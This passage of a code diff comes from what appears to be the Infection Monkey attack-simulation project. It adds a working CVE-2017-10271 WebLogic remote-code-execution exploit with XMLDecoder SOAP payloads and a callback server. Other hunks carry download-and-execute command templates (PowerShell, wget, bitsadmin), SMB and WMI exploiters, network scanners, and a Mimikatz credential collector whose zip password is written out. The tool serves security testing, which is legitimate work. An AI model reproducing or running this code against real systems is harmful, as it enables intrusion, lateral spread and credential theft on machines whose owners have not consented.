Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from self.monkey_target_paths
"""
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return self.monkey_target_paths['linux']
elif 'windows-32' in url_to_monkey:
return self.monkey_target_paths['win32']
elif 'windows-64' in url_to_monkey:
return self.monkey_target_paths['win64']
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except KeyError:
LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
"custom dict of monkey's destination paths")
return False
def get_monkey_paths(self):
"""
Gets local (used by server) and destination (where to download) paths.
:return: dict of source and destination paths
"""
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
# Determine which destination path to use
dest_path = self.get_monkey_upload_path(src_path)
if not dest_path:
return False
return {'src_path': src_path, 'dest_path': dest_path}
def get_default_dropper_path(self):
"""
Gets default dropper path for the host.
:return: Default monkey's destination path for corresponding host or False if failed.
E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
"""
if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
LOG.error("Target's OS was either unidentified or not supported. Aborting")
return False
if self.host.os['type'] == 'linux':
return self._config.dropper_target_path_linux
if self.host.os['type'] == 'windows':
try:
if self.host.os['machine'] == WIN_ARCH_64:
return self._config.dropper_target_path_win_64
except KeyError:
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
return self._config.dropper_target_path_win_32

View File

@ -0,0 +1,197 @@
# Exploit based of:
# Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271
# and
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
from requests import post, exceptions
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading
import logging
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
REQUEST_TIMEOUT = 2
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe',
'win64': 'monkey64.exe'})
def get_exploit_config(self):
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True
exploit_config['url_extensions'] = URLS
return exploit_config
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
else:
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
print('[!] Connection Error')
print(e)
return True
def check_if_exploitable(self, url):
# Server might get response faster than it starts listening to it, we need a lock
httpd, lock = self._start_http_server()
payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
try:
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
except exceptions.ReadTimeout:
# Our request does not get response thus we get ReadTimeout error
pass
except Exception as e:
LOG.error("Something went wrong: %s" % e)
self._stop_http_server(httpd, lock)
return httpd.get_requests > 0
def _start_http_server(self):
"""
Starts custom http server that waits for GET requests
:return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
"""
lock = threading.Lock()
local_port = get_free_tcp_port()
local_ip = get_interface_to_target(self.host.ip_addr)
httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
lock.acquire()
httpd.start()
lock.acquire()
return httpd, lock
def _stop_http_server(self, httpd, lock):
lock.release()
httpd.join(SERVER_TIMEOUT)
httpd.stop()
@staticmethod
def get_exploit_payload(cmd_base, cmd_opt, command):
"""
Formats the payload used in exploiting weblogic servers
:param cmd_base: What command prompt to use eg. cmd
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
:param command: command itself
:return: Formatted payload
"""
empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>{cmd_base}</string>
</void>
<void index="1">
<string>{cmd_opt}</string>
</void>
<void index="2">
<string>{cmd_payload}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
return payload
@staticmethod
def get_test_payload(ip, port):
"""
Gets payload used for testing whether weblogic server is vulnerable
:param ip: Server's IP
:param port: Server's port
:return: Formatted payload
"""
generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>http://{host}:{port}</string>
</void>
<void idref="url">
<void id="stream" method = "openStream" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
payload = generic_check_payload.format(host=ip, port=port)
return payload
class IndicationHTTPServer(threading.Thread):
"""
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not.
"""
def __init__(self, local_ip, local_port, lock, max_requests=1):
self._local_ip = local_ip
self._local_port = local_port
self.get_requests = 0
self.max_requests = max_requests
self._stopped = False
self.lock = lock
threading.Thread.__init__(self)
self.daemon = True
def run(self):
class S(BaseHTTPRequestHandler):
@staticmethod
def do_GET():
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self._local_ip, self._local_port), S)
httpd.daemon = True
self.lock.release()
while not self._stopped and self.get_requests < self.max_requests:
httpd.handle_request()
self._stopped = True
return httpd
def stop(self):
self._stopped = True

View File

@ -14,11 +14,11 @@ from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from network import SMBFinger
from network.tools import check_tcp_port
from tools import build_monkey_commandline
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from . import HostExploiter
LOG = getLogger(__name__)
@ -158,8 +158,6 @@ class Ms08_067_Exploiter(HostExploiter):
def __init__(self, host):
super(Ms08_067_Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
def is_os_supported(self):
if self.host.os.get('type') in self._TARGET_OS_TYPE and \

View File

@ -5,10 +5,10 @@ import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from tools import build_monkey_commandline
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
LOG = logging.getLogger(__name__)
@ -18,8 +18,6 @@ class WmiExploiter(HostExploiter):
def __init__(self, host):
super(WmiExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
@WmiTools.dcom_wrap
def exploit_host(self):

View File

@ -8,14 +8,11 @@ import os
import sys
import traceback
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from dropper import MonkeyDrops
from model import MONKEY_ARG, DROPPER_ARG
from monkey import InfectionMonkey
import utils
if __name__ == "__main__":
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import infection_monkey.utils as utils
from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
from infection_monkey.dropper import MonkeyDrops
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
from infection_monkey.monkey import InfectionMonkey
__author__ = 'itamar'
@ -63,7 +60,7 @@ def main():
try:
with open(config_file) as config_fo:
json_dict = json.load(config_fo)
WormConfiguration.from_dict(json_dict)
WormConfiguration.from_kv(json_dict)
except ValueError as e:
print("Error loading config: %s, using default" % (e,))
else:

View File

@ -1,4 +1,4 @@
from host import VictimHost
from infection_monkey.model.host import VictimHost
__author__ = 'itamar'
@ -17,13 +17,15 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
CHECK_COMMAND = "echo %s" % ID_STRING
# Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu"
# Commands used to check if monkeys already exists
EXISTS = "ls %s"
DOWNLOAD_TIMEOUT = 300

View File

@ -4,7 +4,7 @@ block_cipher = None
a = Analysis(['main.py'],
pathex=['.', '..'],
pathex=['..'],
binaries=None,
datas=None,
hiddenimports=['_cffi_backend'],

View File

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 108 KiB

View File

@ -4,18 +4,18 @@ import os
import subprocess
import sys
import time
import tunnel
import utils
from config import WormConfiguration
from control import ControlClient
from model import DELAY_DELETE_CMD
from network.firewall import app as firewall
from network.network_scanner import NetworkScanner
from six.moves import xrange
from system_info import SystemInfoCollector
from system_singleton import SystemSingleton
from windows_upgrader import WindowsUpgrader
import infection_monkey.tunnel as tunnel
import infection_monkey.utils as utils
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.model import DELAY_DELETE_CMD
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.network_scanner import NetworkScanner
from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.windows_upgrader import WindowsUpgrader
__author__ = 'itamar'

View File

@ -1,22 +1,30 @@
# -*- mode: python -*-
import os
import platform
# Name of zip file in monkey. That's the name of the file in the _MEI folder
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
def get_mimikatz_zip_path():
if platform.architecture()[0] == "32bit":
return '.\\bin\\mk32.zip'
else:
return '.\\bin\\mk64.zip'
a = Analysis(['main.py'],
pathex=['.', '..'],
pathex=['..'],
hiddenimports=['_cffi_backend', 'queue'],
hookspath=None,
runtime_hooks=None)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
if platform.system().find("Windows")>= 0:
if platform.system().find("Windows") >= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
if platform.architecture()[0] == "32bit":
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
else:
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
pyz = PYZ(a.pure)
exe = EXE(pyz,
@ -28,4 +36,5 @@ exe = EXE(pyz,
debug=False,
strip=None,
upx=True,
console=True , icon='monkey.ico')
console=True,
icon='monkey.ico')

View File

@ -0,0 +1,29 @@
from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class HostScanner(object):
__metaclass__ = ABCMeta
@abstractmethod
def is_host_alive(self, host):
raise NotImplementedError()
class HostFinger(object):
__metaclass__ = ABCMeta
@abstractmethod
def get_host_fingerprint(self, host):
raise NotImplementedError()
from infection_monkey.network.ping_scanner import PingScanner
from infection_monkey.network.tcp_scanner import TcpScanner
from infection_monkey.network.smbfinger import SMBFinger
from infection_monkey.network.sshfinger import SSHFinger
from infection_monkey.network.httpfinger import HTTPFinger
from infection_monkey.network.elasticfinger import ElasticFinger
from infection_monkey.network.mysqlfinger import MySQLFinger
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.mssql_fingerprint import MSSQLFinger

View File

@ -5,8 +5,9 @@ from contextlib import closing
import requests
from requests.exceptions import Timeout, ConnectionError
from model.host import VictimHost
from network import HostFinger
import infection_monkey.config
from infection_monkey.model.host import VictimHost
from infection_monkey.network import HostFinger
ES_PORT = 9200
ES_SERVICE = 'elastic-search-9200'
@ -21,7 +22,7 @@ class ElasticFinger(HostFinger):
"""
def __init__(self):
self._config = __import__('config').WormConfiguration
self._config = infection_monkey.config.WormConfiguration
def get_host_fingerprint(self, host):
"""

View File

@ -1,16 +1,18 @@
from network import HostFinger
from model.host import VictimHost
import infection_monkey.config
from infection_monkey.network import HostFinger
from infection_monkey.model.host import VictimHost
import logging
LOG = logging.getLogger(__name__)
class HTTPFinger(HostFinger):
"""
Goal is to recognise HTTP servers, where what we currently care about is apache.
"""
def __init__(self):
self._config = __import__('config').WormConfiguration
self._config = infection_monkey.config.WormConfiguration
self.HTTP = [(port, str(port)) for port in self._config.HTTP_PORTS]
@staticmethod

View File

@ -1,8 +1,9 @@
import logging
import socket
from model.host import VictimHost
from network import HostFinger
from infection_monkey.model.host import VictimHost
from infection_monkey.network import HostFinger
import infection_monkey.config
__author__ = 'Maor Rayzin'
@ -18,7 +19,7 @@ class MSSQLFinger(HostFinger):
SERVICE_NAME = 'MSSQL'
def __init__(self):
self._config = __import__('config').WormConfiguration
self._config = infection_monkey.config.WormConfiguration
def get_host_fingerprint(self, host):
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
@ -29,7 +30,6 @@ class MSSQLFinger(HostFinger):
Discovered server information written to the Host info struct.
True if success, False otherwise.
"""
assert isinstance(host, VictimHost)
# Create a UDP socket and sets a timeout
@ -53,6 +53,15 @@ class MSSQLFinger(HostFinger):
LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host))
sock.close()
return False
except socket.error as e:
if e.errno == socket.errno.ECONNRESET:
LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.'
.format(host))
else:
LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.',
exc_info=True)
sock.close()
return False
host.services[self.SERVICE_NAME] = {}

View File

@ -1,9 +1,10 @@
import logging
import socket
from model.host import VictimHost
from network import HostFinger
from .tools import struct_unpack_tracker, struct_unpack_tracker_string
import infection_monkey.config
from infection_monkey.model.host import VictimHost
from infection_monkey.network import HostFinger
from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string
MYSQL_PORT = 3306
SQL_SERVICE = 'mysqld-3306'
@ -20,7 +21,7 @@ class MySQLFinger(HostFinger):
HEADER_SIZE = 4 # in bytes
def __init__(self):
self._config = __import__('config').WormConfiguration
self._config = infection_monkey.config.WormConfiguration
def get_host_fingerprint(self, host):
"""

View File

@ -1,11 +1,11 @@
import logging
import time
from config import WormConfiguration
from info import local_ips, get_interfaces_ranges
from common.network.network_range import *
from model import VictimHost
from . import HostScanner
from infection_monkey.config import WormConfiguration
from infection_monkey.network.info import local_ips, get_interfaces_ranges
from infection_monkey.model import VictimHost
from infection_monkey.network import HostScanner
__author__ = 'itamar'
@ -36,10 +36,42 @@ class NetworkScanner(object):
self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list]
if WormConfiguration.local_network_scan:
self._ranges += get_interfaces_ranges()
self._ranges += self._get_inaccessible_subnets_ips()
LOG.info("Base local networks to scan are: %r", self._ranges)
def _get_inaccessible_subnets_ips(self):
"""
For each of the machine's IPs, checks if it's in one of the subnets specified in the
'inaccessible_subnets' config value. If so, all other subnets in the config value shouldn't be accessible.
All these subnets are returned.
:return: A list of subnets that shouldn't be accessible from the machine the monkey is running on.
"""
subnets_to_scan = []
if len(WormConfiguration.inaccessible_subnets) > 1:
for subnet_str in WormConfiguration.inaccessible_subnets:
if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str):
# If machine has IPs from 2 different subnets in the same group, there's no point checking the other
# subnet.
for other_subnet_str in WormConfiguration.inaccessible_subnets:
if other_subnet_str == subnet_str:
continue
if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses],
other_subnet_str):
subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
break
return subnets_to_scan
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
assert issubclass(scan_type, HostScanner)
"""
Finds machines according to the ranges specified in the object
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
:param max_find: Max number of victims to find regardless of ranges
:param stop_callback: A callback to check at any point if we should stop scanning
:return: yields a sequence of VictimHost instances
"""
if not scan_type:
return
scanner = scan_type()
victims_count = 0
@ -76,3 +108,10 @@ class NetworkScanner(object):
if SCAN_DELAY:
time.sleep(SCAN_DELAY)
@staticmethod
def _is_any_ip_in_subnet(ip_addresses, subnet_str):
for ip_address in ip_addresses:
if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address):
return True
return False

View File

@ -4,8 +4,9 @@ import re
import subprocess
import sys
from model.host import VictimHost
from . import HostScanner, HostFinger
import infection_monkey.config
from infection_monkey.model.host import VictimHost
from infection_monkey.network import HostScanner, HostFinger
__author__ = 'itamar'
@ -20,7 +21,7 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
self._config = infection_monkey.config.WormConfiguration
self._devnull = open(os.devnull, "w")
self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE)

View File

@ -1,10 +1,11 @@
import socket
import struct
import logging
from network import HostFinger
from model.host import VictimHost
from odict import odict
from infection_monkey.network import HostFinger
from infection_monkey.model.host import VictimHost
SMB_PORT = 445
SMB_SERVICE = 'tcp-445'
@ -100,7 +101,8 @@ class SMBSessionFingerData(Packet):
class SMBFinger(HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
from infection_monkey.config import WormConfiguration
self._config = WormConfiguration
def get_host_fingerprint(self, host):
assert isinstance(host, VictimHost)

View File

@ -1,8 +1,9 @@
import re
from model.host import VictimHost
from network import HostFinger
from network.tools import check_tcp_port
import infection_monkey.config
from infection_monkey.model.host import VictimHost
from infection_monkey.network import HostFinger
from infection_monkey.network.tools import check_tcp_port
SSH_PORT = 22
SSH_SERVICE_DEFAULT = 'tcp-22'
@ -14,7 +15,7 @@ LINUX_DIST_SSH = ['ubuntu', 'debian']
class SSHFinger(HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
self._config = infection_monkey.config.WormConfiguration
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
@staticmethod

View File

@ -1,8 +1,9 @@
from itertools import izip_longest
from random import shuffle
from network import HostScanner, HostFinger
from network.tools import check_tcp_ports
import infection_monkey.config
from infection_monkey.network import HostScanner, HostFinger
from infection_monkey.network.tools import check_tcp_ports, tcp_port_to_service
__author__ = 'itamar'
@ -11,7 +12,7 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
self._config = infection_monkey.config.WormConfiguration
def is_host_alive(self, host):
return self.get_host_fingerprint(host, True)
@ -31,7 +32,7 @@ class TcpScanner(HostScanner, HostFinger):
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
self._config.tcp_scan_get_banner)
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
service = 'tcp-' + str(target_port)
service = tcp_port_to_service(target_port)
host.services[service] = {}
if banner:
host.services[service]['banner'] = banner

View File

@ -1,13 +1,19 @@
import logging
import sys
import subprocess
import select
import socket
import struct
import time
from six import text_type
import ipaddress
DEFAULT_TIMEOUT = 10
BANNER_READ = 1024
LOG = logging.getLogger(__name__)
SLEEP_BETWEEN_POLL = 0.5
def struct_unpack_tracker(data, index, fmt):
@ -126,15 +132,23 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
LOG.warning("Failed to connect to port %s, error code is %d", port, err)
if len(possible_ports) != 0:
time.sleep(timeout)
sock_objects = [s[1] for s in possible_ports]
# first filter
timeout = int(round(timeout)) # clamp to integer, to avoid checking input
sockets_to_try = possible_ports[:]
connected_ports_sockets = []
while (timeout >= 0) and len(sockets_to_try):
sock_objects = [s[1] for s in sockets_to_try]
_, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
for s in writeable_sockets:
try: # actual test
connected_ports_sockets.append((s.getpeername()[1], s))
except socket.error: # bad socket, select didn't filter it properly
pass
sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets]
if sockets_to_try:
time.sleep(SLEEP_BETWEEN_POLL)
timeout -= SLEEP_BETWEEN_POLL
LOG.debug(
"On host %s discovered the following ports %s" %
(str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])))
@ -154,3 +168,64 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
except socket.error as exc:
LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
return [], []
def tcp_port_to_service(port):
return 'tcp-' + str(port)
def traceroute(target_ip, ttl):
"""
Traceroute for a specific IP.
:param target_ip: Destination
:param ttl: Max TTL
:return: Sequence of IPs in the way
"""
if sys.platform == "win32":
try:
# we'll just use tracert because that's always there
cli = ["tracert",
"-d",
"-w", "250",
"-h", str(ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
ip_lines = stdout.split('\r\n')[3:-3]
trace_list = []
for line in ip_lines:
tokens = line.split()
last_token = tokens[-1]
try:
ip_addr = ipaddress.ip_address(text_type(last_token))
except ValueError:
ip_addr = ""
trace_list.append(ip_addr)
return trace_list
except:
return []
else: # linux based hopefully
# implementation note: We're currently going to just use ping.
# reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
# while this is just ugly
# we can't use traceroute because it's not always installed
current_ttl = 1
trace_list = []
while current_ttl <= ttl:
try:
cli = ["ping",
"-c", "1",
"-w", "1",
"-t", str(current_ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
ip_line = stdout.split('\n')
ip_line = ip_line[1]
ip = ip_line.split()[1]
trace_list.append(ipaddress.ip_address(text_type(ip)))
except (IndexError, ValueError):
# assume we failed parsing output
trace_list.append("")
current_ttl += 1
return trace_list

View File

@ -0,0 +1,25 @@
import os
import sys
__author__ = 'itay.mizeretz'
def get_binaries_dir_path():
"""
Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise)
:return: Binaries dir path
"""
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))
def get_binary_file_path(filename):
"""
Gets the path to a binary file
:param filename: name of the file
:return: Path to file
"""
return os.path.join(get_binaries_dir_path(), filename)

View File

@ -70,4 +70,9 @@ Sambacry requires two standalone binaries to execute remotely.
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin
Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin
Alternatively, if you build Mimikatz, put each version in a zip file.
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
3. The zip file should be named mk32.zip/mk64.zip accordingly.
4. Zipping with 7zip has been tested. Other zipping software may not work.

View File

@ -14,3 +14,4 @@ six
ecdsa
netifaces
ipaddress
wmi

View File

@ -5,8 +5,8 @@ import sys
import psutil
from enum import IntEnum
from network.info import get_host_subnets
from azure_cred_collector import AzureCollector
from infection_monkey.network.info import get_host_subnets
from infection_monkey.system_info.azure_cred_collector import AzureCollector
LOG = logging.getLogger(__name__)
@ -112,7 +112,7 @@ class InfoCollector(object):
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
:return: None. Updates class information
"""
from config import WormConfiguration
from infection_monkey.config import WormConfiguration
if not WormConfiguration.extract_azure_creds:
return
LOG.debug("Harvesting creds if on an Azure machine")

View File

@ -1,7 +1,7 @@
import logging
from . import InfoCollector
from SSH_info_collector import SSHCollector
from infection_monkey.system_info import InfoCollector
from infection_monkey.system_info.SSH_info_collector import SSHCollector
__author__ = 'uri'

View File

@ -2,6 +2,11 @@ import binascii
import ctypes
import logging
import socket
import zipfile
import infection_monkey.config
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
__author__ = 'itay.mizeretz'
@ -13,16 +18,36 @@ class MimikatzCollector(object):
Password collection module for Windows using Mimikatz.
"""
def __init__(self):
try:
# Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
# Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
# Password to Mimikatz zip file
MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
self._isInit = False
self._config = __import__('config').WormConfiguration
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
self._dll = None
self._collect = None
self._get = None
self.init_mimikatz()
def init_mimikatz(self):
try:
with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
pwd=self.MIMIKATZ_ZIP_PASSWORD)
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
self._isInit = True
except Exception:
LOG.exception("Error initializing mimikatz collector")
@ -32,6 +57,7 @@ class MimikatzCollector(object):
Gets the logon info from mimikatz.
Returns a dictionary of users with their known credentials.
"""
LOG.info('Getting mimikatz logon information')
if not self._isInit:
return {}
LOG.debug("Running mimikatz collector")
@ -42,6 +68,8 @@ class MimikatzCollector(object):
logon_data_dictionary = {}
hostname = socket.gethostname()
self.mimikatz_text = self._get_text_output_proto()
for i in range(entry_count):
entry = self._get()
username = entry.username.encode('utf-8').strip()
@ -75,6 +103,9 @@ class MimikatzCollector(object):
LOG.exception("Error getting logon info")
return {}
def get_mimikatz_text(self):
